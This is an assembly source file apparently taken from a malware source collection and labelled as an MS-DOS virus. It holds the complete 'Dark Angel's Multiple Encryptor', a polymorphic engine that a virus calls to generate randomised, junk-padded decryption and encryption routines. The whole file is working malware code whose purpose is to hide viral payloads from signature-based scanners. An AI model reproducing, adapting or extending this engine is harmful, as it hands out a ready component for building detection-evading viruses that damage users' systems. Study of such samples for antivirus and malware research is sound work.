MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.dame090.asm
2021-01-12 17:38:47 -06:00

1197 lines
28 KiB
NASM

ifndef vars
vars = 2
endif
if vars eq 1
else
_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7
_es = 8
_cs = 9
_ss = 0a
_ds = 0bh
MAXNEST = 0a ; controls recursion problems
; ax = flags
; 15 : Reserved
; 14 : 0 = word, 1 = dword
; 13 : encryption direction : 0 = forwards, 1 = backwards
; 12 : counter direction : 0 = forwards, 1 = backwards
; 11 : ^
; 10 : R
; 9 : E
; 8 : S
; 7 : E
; 6 : R
; 5 : V
; 4 : E
; 3 : D
; 2 : v
; DAME sets the above bits
;
; Virus sets the following bits:
; 1 : garble : 1 = yes, 0 = no
; 0 : DS = CS : 1 = yes, 0 = no
; bx = start decrypt in carrier file
; cx = encrypt length
; dx = start encrypt
; si = buffer to put decryption routine
; di = buffer to put encryption routine
; ds = current cs
; es = current cs
; Returns:
; cx = decryption routine length
; all other registers are preserved.
rnd_init_seed:
push dx
push cx
push bx
mov ah,2C ; get time
int 21
in al,40 ; port 40h, 8253 timer 0 clock
mov ah,al
in al,40 ; port 40h, 8253 timer 0 clock
xor ax,cx
xor dx,ax
jmp short rnd_get_loop_done
get_rand:
push dx
push cx
push bx
in al,40 ; get from timer 0 clock
db 5 ; add ax, xxxx
rnd_get_patch1 dw 0
db 0BA ; mov dx, xxxx
rnd_get_patch2 dw 0
mov cx,7
rnd_get_loop:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_get_loop_loc
inc al
rnd_get_loop_loc:
loop rnd_get_loop
rnd_get_loop_done:
mov rnd_get_patch1,ax
mov rnd_get_patch2,dx
mov al,dl
pop bx
pop cx
pop dx
retn
reg_xlat_table:
db 10000111b ; bx
db 0 ; sp
db 10000110b ; bp
db 10000100b ; si
db 10000101b ; di
aligntable db 3,7,0f,1f
redo_dame:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
dame: ; Dark Angel's Multiple Encryptor
cld
push ax
push bx
push cx
push dx
push si
push di
call _dame
pop di
pop si
pop dx
pop bx ; return value in cx
pop bx
pop ax
ret
_dame:
; set up variables
cld
push ax
mov ax,offset _encryptpointer
xchg ax,di ; pointer to encryption routine buffer
stosw
xchg si,ax ; pointer to decryption routine buffer
stosw
stosw
xchg ax,dx ; starting offset of encryption
stosw
xchg ax,bx ; starting offset of decryption routine
stosw
xchg cx,dx ; dx = encrypt size
call clear_used_regs
mov cx,(endclear1 - beginclear1) / 2
rep stosw
call get_rand
and ax,not 3
pop cx
xor cx,ax ; cx = bitmask
call get_rand_bx
and bx,3
mov al,byte ptr [bx+aligntable]
cbw
add dx,ax ; round up
not ax
and dx,ax
mov ax,dx ; new encryption length
stosw ; _encrypt_length
shr ax,1
test ch,40 ; dword?
jz word_encryption
shr ax,1
word_encryption:
test ch,10
jnz counter_backwards
neg ax
counter_backwards:
stosw ; _counter_value
xchg ax,dx ; get encryption length in bytes
test ch,20
jnz encrypt_forwards
neg ax ; pointer to start of decryption
encrypt_forwards:
stosw ; _pointer_value
call get_rand
stosw ; encryption value = _decrypt_value
mov ax,8484
stosb
push di
stosw
stosb
pop di
call one_in_two
js s1
call get_another
stosb
call get_rand
mov _pointer_value,ax
dec di
s1:
inc di
jmp short gbxoh_skip
get_bx_or_higher:
call clear_reg
gbxoh_skip:
call get_another
cmp al,_bx
jb get_bx_or_higher
stosb ; _pointer_reg
call one_in_two
js s2
call get_another
stosb ; _encrypt_reg
s2:
; encode setup part of decryption
call clear_used_regs
encode_setup:
mov di,_decryptpointer
call twogarble
mov si,offset _dummy_reg
push si
encode_setup_get_another:
call get_rand_bx
and bx,3
mov al,[si+bx]
cbw
test al,80
jnz encode_setup_get_another
or byte ptr [bx+_dummy_reg],80
mov si,ax
inc byte ptr [si+offset _used_regs]
add bx,bx
mov dx,word ptr [bx+_counter_value-2]
mov _nest,0
call mov_reg_xxxx
call twogarble
call swap_decrypt_encrypt
push cx
and cl,not 3
call _mov_reg_xxxx
pop cx
mov _encryptpointer,di
pop si
mov dx,4
encode_setup_check_if_done:
lodsb
test al,80
jz encode_setup
dec dx
jnz encode_setup_check_if_done
mov si,offset _encryptpointer
mov di,offset _loopstartencrypt
movsw
movsw
; encode decryption part of loop
mov _relocate_amt,0
call do_encrypt1
test ch,40
jz dont_encrypt2
mov _relocate_amt,2
call do_encrypt1
dont_encrypt2:
mov bx,offset _loopstartencrypt
push cx
and cl,not 3
call encodejmp
pop cx
mov ax,0c3fc ; cld, ret
stosw
mov si,offset _encrypt_relocator
mov di,_start_encrypt
push cx
call relocate
pop cx
mov bx,offset _loopstartdecrypt
call encodejmp
call fourgarble
mov _decryptpointer,di
mov si,offset _decrypt_relocator
sub di,_decryptpointer2
add di,_start_decrypt
relocate:
test ch,20
jz do_encrypt_backwards
add di,_encrypt_length
do_encrypt_backwards:
sub di,_pointer_value
mov cx,word ptr [si-2]
jcxz exit_relocate
xchg ax,di
relocate_loop:
xchg ax,di
lodsw
xchg ax,di
add [di],ax
loop relocate_loop
exit_relocate:
mov di,_decryptpointer
mov cx,di
sub cx,_decryptpointer2
ret
do_encrypt1:
call playencrypt
call encryption
call playencrypt
ret
encodejmp:
mov di,word ptr [bx+_encryptpointer-_loopstartencrypt]
push bx
mov _nest,0
mov al,_pointer_reg
and ax,7
mov dx,2
test ch,40
jz update_pointer1
shl dx,1
update_pointer1:
test ch,20
jz update_pointer2
neg dx
update_pointer2:
call add_reg_xxxx
mov dl,75 ; jnz
mov al,_counter_reg
and ax,7
cmp al,_sp
jz do_jnz
push dx
mov dx,1
test ch,10 ; check counter direction
jz go_counter_forwards
cmp al,_cx
jnz regular
call one_in_two
js regular
pop dx
call get_rand_bx
xchg bx,dx
and dl,2
or dl,0e0 ; loop/loopnz
jmp short do_jnz
regular:
neg dx
go_counter_forwards:
call add_reg_xxxx
pop dx
do_jnz:
pop bx
mov ax,[bx]
sub ax,di
dec ax
dec ax
xchg ah,al
mov al,dl ; jnz
test ah,80
jnz jmplocation_okay
pop ax
pop ax
jmp redo_dame
jmplocation_okay:
stosw
mov word ptr [bx+_encryptpointer-_loopstartencrypt],di
ret
swap_decrypt_encrypt:
mov _nest,MAXNEST
mov _decryptpointer,di
mov di,_encryptpointer
ret
playencrypt:
mov di,_decryptpointer
call twogarble
mov al,_encrypt_reg
and ax,7
cmp al,4 ; is there an encryption register?
jz swap_decrypt_encrypt
call get_rand_bx ; 3/4 chance of doing something
cmp bl,0c0
ja swap_decrypt_encrypt
call _playencrypt
call handle_jmp_table_nogarble
finish_encryption:
call swap_decrypt_encrypt
push cx
and cl,not 3
call [bx+si+1]
pop cx
mov _encryptpointer,di
ret
_playencrypt:
mov _nest,0
call one_in_two
js get_used_register
call get_rand_bx
mov si,offset oneregtable
jmp short continue_playencrypt
get_used_register:
call get_rand_bx
and bx,7
cmp bl,_sp
jz get_used_register
cmp byte ptr [bx+_used_regs],0
jz get_used_register
mov si,offset tworegtable
continue_playencrypt:
xchg dx,bx
ret
encryption:
mov di,_decryptpointer
call twogarble
mov al,_pointer_reg
and ax,7
mov bx,offset reg_xlat_table-3
xlat
mov bp,offset _decrypt_relocate_num
call _playencrypt
call go_next
call handle_jmp_table_nogarble
mov bp,offset _encrypt_relocate_num
call go_next
jmp short finish_encryption
go_next:
push ax
lodsb
cbw
add si,ax
pop ax
inc si
inc si
ret
clear_used_regs:
xor ax,ax
mov di,offset _used_regs
stosw
stosw
inc ax
stosw
dec ax
stosw
ret
get_another:
call get_rand
and ax,7
mov si,ax
cmp [si+_used_regs],0
jnz get_another
inc [si+_used_regs]
ret
clear_reg_dx:
xchg ax,dx
clear_reg:
mov si,ax
mov byte ptr [si+_used_regs],0
ret
free_regs: ; check for free registers
; zero flag if OK
push ax
push cx
push di
mov di,offset _used_regs
mov cx,8
xor ax,ax
repne scasb
pop di
pop cx
pop ax
ret
one_in_two:
push ax
call get_rand
or ax,ax
pop ax
ret
get_rand_bx:
xchg ax,bx
call get_rand
xchg ax,bx
return:
ret
fourgarble:
call twogarble
twogarble:
mov _nest,0
call garble
garble: ; ax, dx preserved
call free_regs
jne return
test cl,2
jz return
push ax
push dx
call get_rand ; random # to dx
xchg ax,dx
call get_another ; random reg in al
call clear_reg ; don't mark as used
mov si,offset garbletable
jmp short handle_jmp_table_nopush_ax_dx
handle_jmp_table: ; ax,dx preserved
push si
call garble
pop si
handle_jmp_table_nogarble:
push ax
push dx
handle_jmp_table_nopush_ax_dx:
push si
push cx
xchg ax,cx
lodsb ; get mask value
cbw
xchg ax,cx
call get_rand_bx
and bx,cx
pop cx
inc _nest
cmp _nest,MAXNEST
jb not_max_nest
xor bx,bx
not_max_nest:
push bx
call [bx+si]
pop bx
pop si
pop dx
pop ax
ret
garble_tworeg:
mov si,offset tworegtable
and dx,7
jmp short handle_jmp_table_nogarble
garble_onereg:
mov si,offset oneregtable
jmp short handle_jmp_table_nogarble
garble_onebyte:
xchg ax,dx
and al,7
mov bx,offset onebytetable
xlat
stosb
ret
garble_jmpcond:
xchg ax,dx
and ax,0f
or al,70
stosw
ret
_push:
or al,al
js _push_mem
add al,50
stosb
ret
_push_mem:
add ax,0ff30
jmp short go_mod_xxx_rm1
_pop:
or al,al
js _pop_mem
add al,58
stosb
ret
_pop_mem:
mov ah,8f
go_mod_xxx_rm1:
jmp mod_xxx_rm
mov_reg_xxxx:
mov si,offset mov_reg_xxxx_table
go_handle_jmp_table1:
jmp short handle_jmp_table
_mov_reg_xxxx_mov_add:
call get_rand_bx
push bx
sub dx,bx
call mov_reg_xxxx
pop dx
jmp short go_add_reg_xxxx
_mov_reg_xxxx_mov_al_ah:
cmp al,_sp
jae _mov_reg_xxxx
push ax
push dx
call _mov_al_xx
pop dx
pop ax
xchg dh,dl
jmp short _mov_ah_xx
_mov_reg_xxxx_mov_xor:
call get_rand_bx
push bx
xor dx,bx
call mov_reg_xxxx
pop dx
jmp xor_reg_xxxx
_mov_reg_xxxx_xor_add:
push dx
mov dx,ax
call xor_reg_reg
pop dx
go_add_reg_xxxx:
jmp add_reg_xxxx
_mov_reg_xxxx_mov_rol:
ror dx,1
call mov_reg_xxxx
jmp short _rol
_mov_reg_xxxx_mov_ror:
rol dx,1
call mov_reg_xxxx
_ror:
or al,8
_rol:
mov ah,0d1
jmp mod_xxx_rm
_mov_reg_xxxx:
add al,0B8
stosb
xchg ax,dx
stosw
ret
mov_ah_xx:
_mov_ah_xx:
add al,04
mov_al_xx:
_mov_al_xx:
add al,0B0
mov ah,dl
stosw
ret
mov_reg_reg:
mov si,offset mov_reg_reg_table
jmp short go_handle_jmp_table1
_mov_reg_reg_push_pop:
push ax
xchg dx,ax ; al = reg2
call _push ; push reg2
pop ax ; al = reg1
jmp _pop ; pop reg1
_mov_reg_reg:
mov ah,08Bh
jmp short _mod_reg_rm_direction
mov_xchg_reg_reg:
call one_in_two
js mov_reg_reg
xchg_reg_reg:
mov si,offset xchg_reg_reg_table
jmp handle_jmp_table
_xchg_reg_reg_push_pop:
push dx ; save reg2
push ax ; save reg1
push dx
call _push ; push reg1
pop ax
call _push ; push reg2
pop ax
call _pop ; pop reg1
pop ax
jmp _pop ; pop reg2
_xchg_reg_reg_3rd_reg:
call free_regs
jne _xchg_reg_reg
push dx ; save reg2
push ax ; save reg1
call get_another
call mov_xchg_reg_reg ; mov/xchg reg3, reg2
pop dx ; get reg1
call xchg_reg_reg ; xchg reg3, reg1
pop dx ; get reg2
xchg ax,dx ; ax=reg2, dx=reg3
call mov_xchg_reg_reg ; mov/xchg reg2, reg3
jmp clear_reg_dx
_xchg_reg_reg:
or al,al
js __xchg_reg_reg
cmp al,dl
jg _xchg_reg_reg_skip
xchg al,dl
_xchg_reg_reg_skip:
or dl,dl
jz _xchg_ax_reg
__xchg_reg_reg:
xchg al,dl
mov ah,87
jmp short _mod_reg_rm
_xchg_ax_reg:
add al,90
stosb
ret
xor_reg_xxxx_xor_xor:
call get_rand_bx
push bx
xor dx,bx
call xor_reg_xxxx
pop dx
jmp short xor_reg_xxxx
xor_reg_xxxx:
mov si,offset xor_reg_xxxx_table
jmp handle_jmp_table
_xor_reg_xxxx:
or al,030
jmp _81h_
xor_reg_reg:
mov si,offset xor_reg_reg_table
jmp handle_jmp_table
_xor_reg_reg:
mov ah,33
_mod_reg_rm_direction:
or al,al
js dodirection
or dl,dl
js _mod_reg_rm
call one_in_two
js _mod_reg_rm
dodirection:
xchg al,dl
sub ah,2
_mod_reg_rm:
shl al,1
shl al,1
shl al,1
or al,dl
mod_xxx_rm:
or al,al
js no_no_reg
or al,0c0
no_no_reg:
xchg ah,al
test ah,40
jnz exit_mod_reg_rm
test cl,1
jnz continue_mod_xxx_rm
push ax
mov al,2e
stosb
pop ax
continue_mod_xxx_rm:
stosw
mov si,cs:[bp] ; need cs: overrides on bp
add si,si
mov cs:[si+bp+2],di
inc word ptr cs:[bp]
mov al,_relocate_amt
cbw
exit_mod_reg_rm:
stosw
ret
add_reg_reg:
mov si,offset add_reg_reg_table
jmp handle_jmp_table
_add_reg_reg:
mov ah,3
jmp short _mod_reg_rm_direction
sub_reg_reg:
mov si,offset sub_reg_reg_table
jmp handle_jmp_table
_sub_reg_reg:
mov ah,2bh
jmp short _mod_reg_rm_direction
_add_reg_xxxx_inc_add:
call inc_reg
dec dx
jmp short add_reg_xxxx
_add_reg_xxxx_dec_add:
call dec_reg
inc dx
jmp short add_reg_xxxx
_add_reg_xxxx_add_add:
call get_rand_bx
push bx
sub dx,bx
call add_reg_xxxx
pop dx
jmp short add_reg_xxxx
add_reg_xxxx1:
neg dx
add_reg_xxxx:
or dx,dx
jnz cont
return1:
ret
cont:
mov si,offset add_reg_xxxx_table
jmp handle_jmp_table
_add_reg_xxxx:
or al,al
jz _add_ax_xxxx
_81h_:
or al,al
js __81h
add al,0c0
__81h:
mov ah,81
call mod_xxx_rm
_encode_dx_:
xchg ax,dx
stosw
ret
_add_ax_xxxx:
mov al,5
_encode_al_dx_:
stosb
jmp short _encode_dx_
sub_reg_xxxx1:
neg dx
sub_reg_xxxx:
_sub_reg_xxxx:
or dx,dx
jz return1
or al,al
jz _sub_ax_xxxx
add al,028
jmp short _81h_
_sub_ax_xxxx:
mov al,2dh
jmp short _encode_al_dx_
dec_reg:
push ax
add al,8
jmp short _dec_inc_reg
inc_reg:
push ax
_dec_inc_reg:
or al,al
jns _norm_inc
mov ah,0ff
call mod_xxx_rm
pop ax
ret
_norm_inc:
add al,40
stosb
pop ax
ret
_mov_reg_reg_3rd_reg:
mov bx,offset mov_reg_reg
mov si,offset mov_xchg_reg_reg
jmp short reg_to_reg
xor_reg_reg_reg_reg:
mov bx,offset _xor_reg_reg
jmp short reg_to_reg1
add_reg_reg_reg_reg:
mov bx,offset _add_reg_reg
jmp short reg_to_reg1
sub_reg_reg_reg_reg:
mov bx,offset _sub_reg_reg
reg_to_reg1:
mov si,bx
reg_to_reg:
call free_regs
jne no_free_regs
push ax
push si
call get_another
call mov_reg_reg ; mov reg3, reg2
pop si
pop dx ; ax=reg3, dx=reg1
xchg ax,dx ; ax=reg1, dx=reg3
push dx
call si
pop dx
go_clear_reg_dx:
jmp clear_reg_dx
_xor_reg_xxxx_reg_reg:
mov bx,offset xor_reg_xxxx
mov si,offset xor_reg_reg
xxxx_to_reg:
call free_regs
jne no_free_regs
push ax
push si
call get_another
call mov_reg_xxxx
xchg ax,dx
pop si
pop ax
push dx
call si
pop dx
jmp short go_clear_reg_dx
no_free_regs:
jmp bx
_add_reg_xxxx_reg_reg:
mov bx,offset add_reg_xxxx
mov si,offset add_reg_reg
jmp short xxxx_to_reg
_mov_reg_xxxx_reg_reg:
mov bx,offset mov_reg_xxxx
mov si,offset mov_xchg_reg_reg
jmp short xxxx_to_reg
garbletable:
db garbletableend - $ - 3
dw offset return
dw offset return
dw offset garble_tworeg
dw offset garble_tworeg
dw offset garble_onereg
dw offset garble_onereg
dw offset garble_onebyte
dw offset garble_jmpcond
garbletableend:
onebytetable:
clc
cmc
stc
cld
std
sti
int 3
lock
oneregtable:
db oneregtableend - $ - 3
dw offset xor_reg_xxxx
dw offset mov_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtableend:
oneregtable1:
db oneregtable1end - $ - 3
dw offset xor_reg_xxxx
dw offset sub_reg_xxxx
dw offset add_reg_xxxx
dw offset add_reg_xxxx
dw offset dec_reg
dw offset inc_reg
dw offset _ror
dw offset _rol
oneregtable1end:
oneregtable2:
db oneregtable2end - $ - 3
dw offset xor_reg_xxxx
dw offset add_reg_xxxx
dw offset sub_reg_xxxx
dw offset sub_reg_xxxx
dw offset inc_reg
dw offset dec_reg
dw offset _rol
dw offset _ror
oneregtable2end:
tworegtable:
db tworegtableend - $ - 3
dw offset xor_reg_reg
dw offset mov_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtableend:
tworegtable1:
db tworegtable1end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset sub_reg_reg
dw offset add_reg_reg
tworegtable1end:
tworegtable2:
db tworegtable2end - $ - 3
dw offset xor_reg_reg
dw offset xor_reg_reg
dw offset add_reg_reg
dw offset sub_reg_reg
tworegtable2end:
mov_reg_xxxx_table:
db mov_reg_xxxx_table_end - $ - 3
dw offset _mov_reg_xxxx
dw offset _mov_reg_xxxx_reg_reg
dw offset _mov_reg_xxxx_mov_add
dw offset _mov_reg_xxxx_mov_al_ah
dw offset _mov_reg_xxxx_mov_xor
dw offset _mov_reg_xxxx_xor_add
dw offset _mov_reg_xxxx_mov_rol
dw offset _mov_reg_xxxx_mov_ror
mov_reg_xxxx_table_end:
mov_reg_reg_table:
db mov_reg_reg_table_end - $ - 3
dw offset _mov_reg_reg
dw offset _mov_reg_reg
dw offset _mov_reg_reg_3rd_reg
dw offset _mov_reg_reg_push_pop
mov_reg_reg_table_end:
xchg_reg_reg_table:
db xchg_reg_reg_table_end - $ - 3
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg
dw offset _xchg_reg_reg_push_pop
dw offset _xchg_reg_reg_3rd_reg
xchg_reg_reg_table_end:
xor_reg_xxxx_table:
db xor_reg_xxxx_table_end - $ - 3
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx
dw offset _xor_reg_xxxx_reg_reg
dw offset xor_reg_xxxx_xor_xor
xor_reg_xxxx_table_end:
xor_reg_reg_table:
db xor_reg_reg_table_end - $ - 3
dw offset _xor_reg_reg
dw offset xor_reg_reg_reg_reg
xor_reg_reg_table_end:
add_reg_reg_table:
db add_reg_reg_table_end - $ - 3
dw offset _add_reg_reg
dw offset add_reg_reg_reg_reg
add_reg_reg_table_end:
sub_reg_reg_table:
db sub_reg_reg_table_end - $ - 3
dw offset _sub_reg_reg
dw offset sub_reg_reg_reg_reg
sub_reg_reg_table_end:
add_reg_xxxx_table:
db add_reg_xxxx_table_end - $ - 3
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx
dw offset _add_reg_xxxx_reg_reg
dw offset sub_reg_xxxx1
dw offset _add_reg_xxxx_inc_add
dw offset _add_reg_xxxx_dec_add
dw offset _add_reg_xxxx_add_add
dw offset _add_reg_xxxx_add_add
add_reg_xxxx_table_end:
endif
if vars eq 0
else
_nest db ? ; needed to prevent infinite recursion
_relocate_amt db ?
_loopstartencrypt dw ?
_loopstartdecrypt dw ?
_encryptpointer dw ?
_decryptpointer dw ?
_decryptpointer2 dw ?
_start_encrypt dw ?
_start_decrypt dw ?
_used_regs db 8 dup (?) ; 0 = unused
beginclear1:
_encrypt_relocate_num dw ?
_encrypt_relocator dw 8 dup (?)
_decrypt_relocate_num dw ?
_decrypt_relocator dw 10 dup (?)
endclear1:
_encrypt_length dw ? ; based upon alignment
_counter_value dw ? ; _counter_reg
_pointer_value dw ?
_decrypt_value dw ?
_dummy_reg db ?
_counter_reg db ?
_pointer_reg db ? ; 4 = not in use
_encrypt_reg db ?
endif